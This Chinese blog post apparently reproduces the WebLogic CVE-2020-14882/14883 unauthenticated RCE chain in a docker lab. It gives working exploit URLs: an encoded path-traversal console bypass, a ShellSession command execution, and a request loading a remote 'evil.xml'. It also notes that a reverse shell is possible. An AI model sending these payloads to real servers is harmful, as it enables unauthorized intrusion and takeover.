• Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现


    Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

    • 0x1 漏洞环境

    docker启一个Weblogic 12.2.1.3版本的服务器,然后访问/console即可查看后台登录页面即:

    • 0x2 影响版本

    • Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
    • 0x3 CVE-2020-14882&CVE-2020-14883

    访问以下URL,即可未授权访问到管理后台页面:

    http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal

    此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

    利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令,直接访问url

    http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

    可以看到命令成功执行:

     这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。

    然后通过这个类发出如下请求,即可让Weblogic加载这个xml,并执行其中的命令:

    http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")

    当然反弹shell也是可以的,只需要修改xml文件中的命令即可:

  • 相关阅读:
    script Ngrinder_TestRunnerInsertMysqlSingle.groovy
    nGrinder TestRunnerInsertMysqlSingle.groovy
    列表导航栏实例(02)——精美电子商务网站赏析
    【网络编程】之九、事件选择WSAEventSelect
    注册界面设计(01)——精美电子商务网站赏析
    列表导航栏实例(04)——精美模板赏析
    【网络编程】之十、重叠IO Overlapped IO
    CSS大小设置实例——盒子模型
    常用数据验证正则表达式释义(附:正则表达式常用符号)
    【网络编程】之八、异步选择WSAAsyncSelect
  • 原文地址:https://www.cnblogs.com/2rsh0u/p/13911794.html
Copyright © 2020-2023  润新知